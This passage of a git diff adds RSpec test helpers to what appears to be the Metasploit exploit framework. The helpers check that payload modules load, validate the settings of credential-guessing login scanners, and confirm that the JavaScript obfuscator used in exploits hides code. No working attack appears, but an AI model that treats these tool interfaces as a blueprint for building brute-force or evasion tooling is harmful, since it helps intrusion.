the side-effects of #connect + framework.db.workspace = framework.db.default_workspace db_manager.stub(:active => active) end -end \ No newline at end of file +end diff --git a/spec/support/shared/contexts/msf/simple/framework.rb b/spec/support/shared/contexts/msf/simple/framework.rb index e55df08207..91dd87dc68 100644 --- a/spec/support/shared/contexts/msf/simple/framework.rb +++ b/spec/support/shared/contexts/msf/simple/framework.rb @@ -4,7 +4,7 @@ require 'metasploit/framework' shared_context 'Msf::Simple::Framework' do let(:dummy_pathname) do - Metasploit::Framework.root.join('spec', 'dummy') + Rails.root.join('spec', 'dummy') end let(:framework) do @@ -33,8 +33,12 @@ shared_context 'Msf::Simple::Framework' do thread_manager.each do |thread| thread.kill + # ensure killed thread is cleaned up by VM + thread.join end thread_manager.monitor.kill + # ensure killed thread is cleaned up by VM + thread_manager.monitor.join end end diff --git a/spec/support/shared/contexts/msf/util/exe.rb b/spec/support/shared/contexts/msf/util/exe.rb index c1b6ea5a92..7ec7bfa510 100644 --- a/spec/support/shared/contexts/msf/util/exe.rb +++ b/spec/support/shared/contexts/msf/util/exe.rb @@ -48,9 +48,10 @@ shared_context 'Msf::Util::Exe' do "linux" => [ { :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ }, { :format => "elf", :arch => "x64", :file_fp => /ELF 64.*SYSV/ }, + { :format => "elf-so", :arch => "x64", :file_fp => /ELF 64.*SYSV/ }, { :format => "elf", :arch => "armle", :file_fp => /ELF 32.*ARM/ }, - { :format => "elf", :arch => "mipsbe", :file_fp => /ELF 32-bit MSB executable, MIPS/ }, - { :format => "elf", :arch => "mipsle", :file_fp => /ELF 32-bit LSB executable, MIPS/ }, + { :format => "elf", :arch => "mipsbe", :file_fp => /ELF 32-bit MSB\s+executable, MIPS/ }, + { :format => "elf", :arch => "mipsle", :file_fp => /ELF 32-bit LSB\s+executable, MIPS/ }, { :format => "war", :arch => "x86", :file_fp => /zip|jar/i }, { :format => "war", :arch => "x64", :file_fp => /zip|jar/i }, { :format => "war", :arch => "armle", :file_fp => /zip|jar/i }, diff --git a/spec/support/shared/contexts/untested_payloads.rb b/spec/support/shared/contexts/untested_payloads.rb new file mode 100644 index 0000000000..8a7f8b2e13 --- /dev/null +++ b/spec/support/shared/contexts/untested_payloads.rb @@ -0,0 +1,78 @@ +# Use along with `it_should_behave_like 'payload can be instantiated'` to detect if a payload under `:modules_pathname` +# was not tested. If any payloads are untested, an error will be written to stderr and the names of untested payloads +# will be logged to `log/untested-payloads.log`. This log is reset for run of context, so if there were previously +# untested payloads and there aren't anymore, then `log/untested-payloads.log` will be deleted. Can be used with +# {Metasploit::Framework::Spec::UntestedPayloads.define_task} so that the `spec` task fails if there are untested +# payloads. +# +# @example Using 'untested payloads' with `Metasploit::Framework::Spec::UntestedPayloads.define_task` and 'payloads can be instantiated' shared examples +# # Rakefile +# require 'metasploit/framework/spec/untested_payloads' +# +# # defined spec task with rspec-rails +# My::Application.load_tasks +# # extends spec task to fail when there are untested payloads +# Metasploit::Framework::Spec::UntestedPayloads.define_task +# +# # spec/modules/payloads_spec.rb +# require 'spec_helper' +# +# describe 'modules/payloads' do +# modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules') +# +# include_context 'untested payloads', modules_pathname: modules_pathname +# +# context 'my/staged/payload/handler' do +# it_should_behave_like 'payload can be instantiated', +# ancestor_reference_names: [ +# 'stages/my/payload', +# 'stagers/my/payload/handler', +# modules_pathname: modules_pathname, +# reference_name: 'my/staged/payload/handler' +# ] +# end +# end +# +# @param options [Hash{Symbol => Pathname}] +# @option options [Pathname] :modules_pathname Pathname of `modules` directory underwhich payloads are defined on the +# file system. +shared_context 'untested payloads' do |options={}| + options.assert_valid_keys(:modules_pathname) + + modules_pathname = options.fetch(:modules_pathname) + + before(:all) do + @expected_ancestor_reference_name_set = Set.new + @actual_ancestor_reference_name_set = Set.new + + payloads_pathname = modules_pathname.join('payloads') + + Dir.glob(payloads_pathname.join('**', '*.rb')) do |expected_ancestor_path| + expected_ancestor_pathname = Pathname.new(expected_ancestor_path) + expected_ancestor_reference_pathname = expected_ancestor_pathname.relative_path_from(payloads_pathname) + expected_ancestor_reference_name = expected_ancestor_reference_pathname.to_path.gsub(/.rb$/, '') + + @expected_ancestor_reference_name_set.add(expected_ancestor_reference_name) + end + end + + after(:all) do + missing_ancestor_reference_name_set = @expected_ancestor_reference_name_set - @actual_ancestor_reference_name_set + + untested_payloads_pathname = Pathname.new('log/untested-payloads.log') + + if missing_ancestor_reference_name_set.empty? + if untested_payloads_pathname.exist? + untested_payloads_pathname.delete + end + else + untested_payloads_pathname.open('w') do |f| + missing_ancestor_reference_name_set.sort.each do |missing_ancestor_reference_name| + f.puts missing_ancestor_reference_name + end + end + + $stderr.puts "Some payloads are untested. See log/untested-payload.log for details." + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb b/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb new file mode 100644 index 0000000000..8d60738a0e --- /dev/null +++ b/spec/support/shared/examples/all_modules_with_module_type_can_be_instantiated.rb @@ -0,0 +1,59 @@ +shared_examples_for 'all modules with module type can be instantiated' do |options={}| + options.assert_valid_keys(:module_type, :modules_pathname, :type_directory) + + module_type = options.fetch(:module_type) + modules_pathname = options.fetch(:modules_pathname) + modules_path = modules_pathname.to_path + type_directory = options.fetch(:type_directory) + + include_context 'Msf::Simple::Framework' + + # + # lets + # + + let(:loader) { + loader = framework.modules.send(:loaders).find { |loader| + loader.loadable?(modules_path) + } + + # Override load_error so that rspec will print it instead of going to framework log + def loader.load_error(module_path, error) + raise error + end + + loader + } + + context module_type do + let(:module_set) { + framework.modules.module_set(module_type) + } + + type_pathname = modules_pathname.join(type_directory) + module_extension = ".rb" + module_extension_regexp = /#{Regexp.escape(module_extension)}$/ + + Dir.glob(type_pathname.join('**', "*#{module_extension}")) do |module_path| + module_pathname = Pathname.new(module_path) + module_reference_pathname = module_pathname.relative_path_from(type_pathname) + module_reference_name = module_reference_pathname.to_path.gsub(module_extension_regexp, '') + + context module_reference_name do + it 'can be instantiated' do + loaded = loader.load_module(modules_path, module_type, module_reference_name) + + expect(loaded).to eq(true), "#{module_reference_name} failed to load from #{modules_path}" + + module_instance = nil + + expect { + module_instance = module_set.create(module_reference_name) + }.not_to raise_error + + expect(module_instance).not_to be_nil, "Could not instantiate #{module_type}/#{module_reference_name}" + end + end + end + end +end diff --git a/spec/support/shared/examples/credential/core/to_credential.rb b/spec/support/shared/examples/credential/core/to_credential.rb new file mode 100644 index 0000000000..72cf69a76a --- /dev/null +++ b/spec/support/shared/examples/credential/core/to_credential.rb @@ -0,0 +1,26 @@ +require 'metasploit/framework/credential' + +shared_examples_for 'Metasploit::Credential::Core::ToCredential' do + context "methods" do + context ".to_credential" do + + subject(:crednetial_core) do + FactoryGirl.create(:metasploit_credential_core) + end + + it { should respond_to :to_credential } + + it "should return a Metasploit::Framework::Credential" do + expect( + crednetial_core.to_credential + ).to be_a Metasploit::Framework::Credential + end + + it "should set the parent to the credential object" do + expect( + crednetial_core.to_credential.parent + ).to eq(crednetial_core) + end + end + end +end diff --git a/spec/support/shared/examples/hash_with_insensitive_access.rb b/spec/support/shared/examples/hash_with_insensitive_access.rb new file mode 100644 index 0000000000..f2821796a4 --- /dev/null +++ b/spec/support/shared/examples/hash_with_insensitive_access.rb @@ -0,0 +1,21 @@ +shared_examples_for "hash with insensitive keys" do + it "should store with insensitive key" do + subject["asdf"] = "foo" + subject["ASDF"] = "bar" + + subject["asdf"].should == "bar" + subject["ASDF"].should == "bar" + end + it "should fetch with insensitive key" do + subject["foo"] = "bar" + + subject["foo"].should == "bar" + subject["Foo"].should == "bar" + subject["FOo"].should == "bar" + subject["FOO"].should == "bar" + subject["fOO"].should == "bar" + subject["fOo"].should == "bar" + subject["FOo"].should == "bar" + subject["Foo"].should == "bar" + end +end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb new file mode 100644 index 0000000000..c1ad92c42f --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/http.rb @@ -0,0 +1,78 @@ +shared_examples_for 'Metasploit::Framework::LoginScanner::HTTP' do + subject(:http_scanner) { described_class.new } + + it { should respond_to :uri } + it { should respond_to :method } + + context "#set_sane_defaults" do + + context "without ssl, without port" do + it "should default :port to #{described_class::DEFAULT_PORT}" do + expect(http_scanner.ssl).to be_falsey + expect(http_scanner.port).to eq(described_class::DEFAULT_PORT) + end + end + + context "with ssl, without port" do + subject(:http_scanner) { described_class.new(ssl:true) } + it "should set :port to default ssl port (#{described_class::DEFAULT_SSL_PORT})" do + expect(http_scanner.ssl).to be_truthy + expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT) + end + end + + context "without ssl, with default port" do + subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_PORT) } + it "should set ssl to false" do + expect(http_scanner.port).to eq(described_class::DEFAULT_PORT) + expect(http_scanner.ssl).to be_falsey + end + end + + context "without ssl, with default SSL port" do + subject(:http_scanner) { described_class.new(port:described_class::DEFAULT_SSL_PORT) } + it "should set ssl to true" do + expect(http_scanner.ssl).to be_truthy + expect(http_scanner.port).to eq(described_class::DEFAULT_SSL_PORT) + end + end + + context "without ssl, with non-default port" do + subject(:http_scanner) { described_class.new(port:0) } + it "should not set ssl" do + expect(http_scanner.ssl).to be_nil + expect(http_scanner.port).to eq(0) + end + end + + end + + context "#attempt_login" do + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: "public", + private: '' + ) + } + + it "Rex::ConnectionError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Rex::ConnectionError) + + expect(http_scanner.attempt_login(pub_blank).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "Timeout::Error should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(Timeout::Error) + + expect(http_scanner.attempt_login(pub_blank).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + it "EOFError should result in status Metasploit::Model::Login::Status::UNABLE_TO_CONNECT" do + allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect).and_raise(EOFError) + + expect(http_scanner.attempt_login(pub_blank).status).to eq(Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + end +end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb new file mode 100644 index 0000000000..43463c68b7 --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/login_scanner_base.rb @@ -0,0 +1,366 @@ + +shared_examples_for 'Metasploit::Framework::LoginScanner::Base' do | opts | + + subject(:login_scanner) { described_class.new } + + let(:public) { 'root' } + let(:private) { 'toor' } + let(:realm) { 'myrealm' } + let(:realm_key) { Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN } + + let(:pub_blank) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: '' + ) + } + + let(:pub_pub) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: public + ) + } + + let(:pub_pri) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private + ) + } + + let(:invalid_detail) { + Metasploit::Framework::Credential.new( + paired: true, + public: nil, + private: nil + ) + } + + let(:ad_cred) { + Metasploit::Framework::Credential.new( + paired: true, + public: public, + private: private, + realm: realm, + realm_key: realm_key + ) + } + + let(:detail_group) { + [ pub_blank, pub_pub, pub_pri] + } + + it { should respond_to :connection_timeout } + it { should respond_to :cred_details } + it { should respond_to :host } + it { should respond_to :port } + it { should respond_to :proxies } + it { should respond_to :stop_on_success } + + context 'validations' do + context 'port' do + + it 'is not valid for a non-number' do + login_scanner.port = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.port = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.port = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + login_scanner.port = 0 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "must be greater than or equal to 1" + end + + it 'is not valid for a number greater than 65535' do + login_scanner.port = 65536 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:port]).to include "must be less than or equal to 65535" + end + + it 'is valid for a legitimate port number' do + login_scanner.port = rand(65534) + 1 + expect(login_scanner.errors[:port]).to be_empty + end + end + + context 'host' do + + it 'is not valid for not set' do + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "can't be blank" + end + + it 'is not valid for a non-string input' do + login_scanner.host = 5 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "must be a string" + end + + it 'is not valid for an improper IP address' do + login_scanner.host = '192.168.1.1.5' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "could not be resolved" + end + + it 'is not valid for an incomplete IP address' do + login_scanner.host = '192.168' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "could not be resolved" + end + + it 'is not valid for an invalid IP address' do + login_scanner.host = '192.300.675.123' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "could not be resolved" + end + + it 'is not valid for DNS name that cannot be resolved' do + login_scanner.host = 'nosuchplace.metasploit.com' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:host]).to include "could not be resolved" + end + + it 'is valid for a valid IP address' do + login_scanner.host = '127.0.0.1' + expect(login_scanner.errors[:host]).to be_empty + end + + it 'is valid for a DNS name it can resolve' do + login_scanner.host = 'localhost' + expect(login_scanner.errors[:host]).to be_empty + end + end + + context 'cred_details' do + it 'is not valid for not set' do + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:cred_details]).to include "can't be blank" + end + + it 'is not valid for a non-array input' do + login_scanner.cred_details = rand(10) + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:cred_details]).to include "must respond to :each" + end + + end + + context 'connection_timeout' do + + it 'is not valid for a non-number' do + login_scanner.connection_timeout = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:connection_timeout]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.connection_timeout = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:connection_timeout]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.connection_timeout = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:connection_timeout]).to include "must be greater than or equal to 1" + end + + it 'is not valid for 0' do + login_scanner.connection_timeout = 0 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:connection_timeout]).to include "must be greater than or equal to 1" + end + + it 'is valid for a legitimate number' do + login_scanner.port = rand(1000) + 1 + expect(login_scanner.errors[:connection_timeout]).to be_empty + end + end + + context 'stop_on_success' do + + it 'is not valid for not set' do + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:stop_on_success]).to include 'is not included in the list' + end + + it 'is not valid for the string true' do + login_scanner.stop_on_success = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:stop_on_success]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.stop_on_success = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:stop_on_success]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.stop_on_success = true + expect(login_scanner.errors[:stop_on_success]).to be_empty + end + + it 'is valid for false class' do + login_scanner.stop_on_success = false + expect(login_scanner.errors[:stop_on_success]).to be_empty + end + end + + context '#valid!' do + it 'raises a Metasploit::Framework::LoginScanner::Invalid when validations fail' do + expect{login_scanner.valid!}.to raise_error Metasploit::Framework::LoginScanner::Invalid + end + end + end + + context '#scan!' do + let(:success) { + ::Metasploit::Framework::LoginScanner::Result.new( + credential: pub_pub, + proof: '', + status: Metasploit::Model::Login::Status::SUCCESSFUL + ) + } + + let(:failure_blank) { + ::Metasploit::Framework::LoginScanner::Result.new( + credential: pub_blank, + proof: nil, + status: Metasploit::Model::Login::Status::INCORRECT + ) + } + + before(:each) do + login_scanner.host = '127.0.0.1' + login_scanner.port = 22 + login_scanner.connection_timeout = 30 + login_scanner.stop_on_success = false + login_scanner.cred_details = detail_group + end + + it 'calls valid! before running' do + my_scanner = login_scanner + my_scanner.should_receive(:valid!) + my_scanner.should_receive(:attempt_login).at_least(:once).and_return success + my_scanner.scan! + end + + it 'should stop trying a user after success' do + my_scanner = login_scanner + my_scanner.should_receive(:valid!) + my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank + my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return success + my_scanner.should_not_receive(:attempt_login) + my_scanner.scan! + end + + it 'call attempt_login once for each cred_detail' do + my_scanner = login_scanner + my_scanner.should_receive(:valid!) + my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank + my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return failure_blank + my_scanner.should_receive(:attempt_login).once.with(pub_pri).and_return failure_blank + my_scanner.scan! + end + + context 'when stop_on_success is true' do + before(:each) do + login_scanner.host = '127.0.0.1' + login_scanner.port = 22 + login_scanner.connection_timeout = 30 + login_scanner.stop_on_success = true + login_scanner.cred_details = detail_group + end + + it 'stops after the first successful login' do + my_scanner = login_scanner + my_scanner.should_receive(:valid!) + my_scanner.should_receive(:attempt_login).once.with(pub_blank).and_return failure_blank + my_scanner.should_receive(:attempt_login).once.with(pub_pub).and_return success + my_scanner.should_not_receive(:attempt_login).with(pub_pri) + my_scanner.scan! + end + end + + end + + context '#each_credential' do + + if opts[:has_realm_key] + context 'when the login_scanner has a REALM_KEY' do + context 'when the credential has a realm' do + before(:each) do + login_scanner.cred_details = [ad_cred] + end + it 'set the realm_key on the credential to that of the scanner' do + output_cred = ad_cred.dup + output_cred.realm_key = described_class::REALM_KEY + expect{ |b| login_scanner.each_credential(&b)}.to yield_with_args(output_cred) + end + end + + if opts[:has_default_realm] + context 'when the credential has no realm' do + before(:each) do + login_scanner.cred_details = [pub_pri] + end + it 'uses the default realm' do + output_cred = pub_pri.dup + output_cred.realm = described_class::DEFAULT_REALM + output_cred.realm_key = described_class::REALM_KEY + expect{ |b| login_scanner.each_credential(&b)}.to yield_with_args(output_cred) + end + end + end + + end + else + context 'when login_scanner has no REALM_KEY' do + context 'when the credential has a realm' do + before(:each) do + login_scanner.cred_details = [ad_cred] + end + it 'yields the original credential as well as one with the realm in the public' do + first_cred = ad_cred.dup + first_cred.realm = nil + first_cred.realm_key = nil + second_cred = first_cred.dup + second_cred.public = "#{realm}\\#{public}" + expect{ |b| login_scanner.each_credential(&b)}.to yield_successive_args(ad_cred,second_cred) + end + end + + context 'when the credential does not have a realm' do + before(:each) do + login_scanner.cred_details = [pub_pri] + end + it 'simply yields the original credential' do + expect{ |b| login_scanner.each_credential(&b)}.to yield_with_args(pub_pri) + end + end + end + end + + + + end + +end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb new file mode 100644 index 0000000000..e2e88cf173 --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/ntlm.rb @@ -0,0 +1,160 @@ +shared_examples_for 'Metasploit::Framework::LoginScanner::NTLM' do + + subject(:login_scanner) { described_class.new } + + it { should respond_to :send_lm } + it { should respond_to :send_ntlm } + it { should respond_to :send_spn } + it { should respond_to :use_lmkey } + it { should respond_to :use_ntlm2_session } + it { should respond_to :use_ntlmv2 } + + context 'validations' do + + context '#send_lm' do + it 'is not valid for the string true' do + login_scanner.send_lm = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_lm]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.send_lm = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_lm]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.send_lm = true + expect(login_scanner.errors[:send_lm]).to be_empty + end + + it 'is valid for false class' do + login_scanner.send_lm = false + expect(login_scanner.errors[:send_lm]).to be_empty + end + end + + context '#send_ntlm' do + it 'is not valid for the string true' do + login_scanner.send_ntlm = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_ntlm]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.send_ntlm = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_ntlm]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.send_ntlm = true + expect(login_scanner.errors[:send_ntlm]).to be_empty + end + + it 'is valid for false class' do + login_scanner.send_ntlm = false + expect(login_scanner.errors[:send_ntlm]).to be_empty + end + end + + context '#send_spn' do + it 'is not valid for the string true' do + login_scanner.send_spn = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_spn]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.send_spn = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_spn]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.send_spn = true + expect(login_scanner.errors[:send_spn]).to be_empty + end + + it 'is valid for false class' do + login_scanner.send_spn = false + expect(login_scanner.errors[:send_spn]).to be_empty + end + end + + context '#use_lmkey' do + it 'is not valid for the string true' do + login_scanner.use_lmkey = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_lmkey]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.use_lmkey = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_lmkey]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.use_lmkey = true + expect(login_scanner.errors[:use_lmkey]).to be_empty + end + + it 'is valid for false class' do + login_scanner.use_lmkey = false + expect(login_scanner.errors[:use_lmkey]).to be_empty + end + end + + context '#use_ntlm2_session' do + it 'is not valid for the string true' do + login_scanner.use_ntlm2_session = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_ntlm2_session]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.use_ntlm2_session = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_ntlm2_session]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.use_ntlm2_session = true + expect(login_scanner.errors[:use_ntlm2_session]).to be_empty + end + + it 'is valid for false class' do + login_scanner.use_ntlm2_session = false + expect(login_scanner.errors[:use_ntlm2_session]).to be_empty + end + end + + context '#use_ntlmv2' do + it 'is not valid for the string true' do + login_scanner.use_ntlmv2 = 'true' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_ntlmv2]).to include 'is not included in the list' + end + + it 'is not valid for the string false' do + login_scanner.use_ntlmv2 = 'false' + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:use_ntlmv2]).to include 'is not included in the list' + end + + it 'is valid for true class' do + login_scanner.use_ntlmv2 = true + expect(login_scanner.errors[:use_ntlmv2]).to be_empty + end + + it 'is valid for false class' do + login_scanner.use_ntlmv2 = false + expect(login_scanner.errors[:use_ntlmv2]).to be_empty + end + end + + end + +end diff --git a/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb b/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb new file mode 100644 index 0000000000..f3f958664a --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/login_scanner/rex_socket.rb @@ -0,0 +1,7 @@ +shared_examples_for 'Metasploit::Framework::LoginScanner::RexSocket' do + subject(:login_scanner) { described_class.new } + + it { should respond_to :ssl } + it { should respond_to :ssl_version } + +end diff --git a/spec/support/shared/examples/metasploit/framework/tcp/client.rb b/spec/support/shared/examples/metasploit/framework/tcp/client.rb new file mode 100644 index 0000000000..9264d39643 --- /dev/null +++ b/spec/support/shared/examples/metasploit/framework/tcp/client.rb @@ -0,0 +1,58 @@ + +shared_examples_for 'Metasploit::Framework::Tcp::Client' do + subject(:login_scanner) { described_class.new } + + it { should respond_to :send_delay } + it { should respond_to :max_send_size } + + context 'send_delay' do + it 'is not valid for a non-number' do + login_scanner.send_delay = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_delay]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.send_delay = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_delay]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.send_delay = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:send_delay]).to include "must be greater than or equal to 0" + end + + it 'is valid for a legitimate number' do + login_scanner.send_delay = rand(1000) + 1 + expect(login_scanner.errors[:send_delay]).to be_empty + end + end + + context 'max_send_size' do + it 'is not valid for a non-number' do + login_scanner.max_send_size = "a" + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:max_send_size]).to include "is not a number" + end + + it 'is not valid for a floating point' do + login_scanner.max_send_size = 5.76 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:max_send_size]).to include "must be an integer" + end + + it 'is not valid for a negative number' do + login_scanner.max_send_size = -8 + expect(login_scanner).to_not be_valid + expect(login_scanner.errors[:max_send_size]).to include "must be greater than or equal to 0" + end + + it 'is valid for a legitimate number' do + login_scanner.max_send_size = rand(1000) + 1 + expect(login_scanner.errors[:max_send_size]).to be_empty + end + end + +end diff --git a/spec/support/shared/examples/msf/core/exploit/jsobfu.rb b/spec/support/shared/examples/msf/core/exploit/jsobfu.rb new file mode 100644 index 0000000000..8d3e7dae4a --- /dev/null +++ b/spec/support/shared/examples/msf/core/exploit/jsobfu.rb @@ -0,0 +1,62 @@ +require 'spec_helper' +require 'msf/core' +require 'msf/core/exploit/jsobfu' + + +shared_examples_for 'Msf::Exploit::JSObfu' do + + subject(:jsobfu) do + mod = ::Msf::Module.new + mod.extend described_class + mod + end + + let (:js) do + %Q|alert("hello, world");| + end + + let(:default_jsobfuscate) do + 0 + end + + before do + subject.datastore['JsObfuscate'] = default_jsobfuscate + end + + context 'when iteration is set' do + it 'returns a ::Rex::Exploitation::JSObfu object' do + opts = {:iterations=>0} + obj = jsobfu.js_obfuscate(js, opts) + expect(obj).to be_kind_of(::Rex::Exploitation::JSObfu) + end + + it 'does not obfuscate if iteration is 0' do + opts = {:iterations=>0} + obj = jsobfu.js_obfuscate(js, opts) + expect(obj.to_s).to include js + end + + it 'obfuscates if iteration is 1' do + opts = {:iterations=>1} + obj = jsobfu.js_obfuscate(js, opts) + expect(obj.to_s).not_to include js + end + end + + context 'when iteration is nil' do + let (:opts) do + {:iterations=>nil} + end + + it 'returns a ::Rex::Exploitation::JSObfu object' do + obj = jsobfu.js_obfuscate(js, opts) + expect(obj).to be_kind_of(::Rex::Exploitation::JSObfu) + end + + it 'does not obfuscate' do + obj = jsobfu.js_obfuscate(js, opts) + expect(obj.to_s).to include(js) + end + end + +end diff --git a/spec/support/shared/examples/msf/db_manager/adapter.rb b/spec/support/shared/examples/msf/db_manager/adapter.rb new file mode 100644 index 0000000000..1cc264f0aa --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/adapter.rb @@ -0,0 +1,16 @@ +shared_examples_for 'Msf::DBManager::Adapter' do + context 'CONSTANTS' do + context 'ADAPTER' do + subject(:adapter) { + described_class::ADAPTER + } + + it { is_expected.to eq('postgresql') } + end + end + + it { is_expected.to respond_to :driver } + it { is_expected.to respond_to :drivers } + it { is_expected.to respond_to :drivers= } + it { is_expected.to respond_to :initialize_adapter } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/client.rb b/spec/support/shared/examples/msf/db_manager/client.rb new file mode 100644 index 0000000000..d737c09c78 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/client.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Client' do + it { is_expected.to respond_to :find_or_create_client } + it { is_expected.to respond_to :get_client } + it { is_expected.to respond_to :report_client } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/connection.rb b/spec/support/shared/examples/msf/db_manager/connection.rb new file mode 100644 index 0000000000..144847df94 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/connection.rb @@ -0,0 +1,10 @@ +shared_examples_for 'Msf::DBManager::Connection' do + it { is_expected.to respond_to :active } + it { is_expected.to respond_to :after_establish_connection } + it { is_expected.to respond_to :connect } + it { is_expected.to respond_to :connection_established? } + it { is_expected.to respond_to :create_db } + it { is_expected.to respond_to :disconnect } + it { is_expected.to respond_to :usable } + it { is_expected.to respond_to :usable= } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/cred.rb b/spec/support/shared/examples/msf/db_manager/cred.rb new file mode 100644 index 0000000000..366c1edef8 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/cred.rb @@ -0,0 +1,8 @@ +shared_examples_for 'Msf::DBManager::Cred' do + it { is_expected.to respond_to :creds } + it { is_expected.to respond_to :each_cred } + it { is_expected.to respond_to :find_or_create_cred } + it { is_expected.to respond_to :report_auth } + it { is_expected.to respond_to :report_auth_info } + it { is_expected.to respond_to :report_cred } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/event.rb b/spec/support/shared/examples/msf/db_manager/event.rb new file mode 100644 index 0000000000..861e963264 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/event.rb @@ -0,0 +1,4 @@ +shared_examples_for 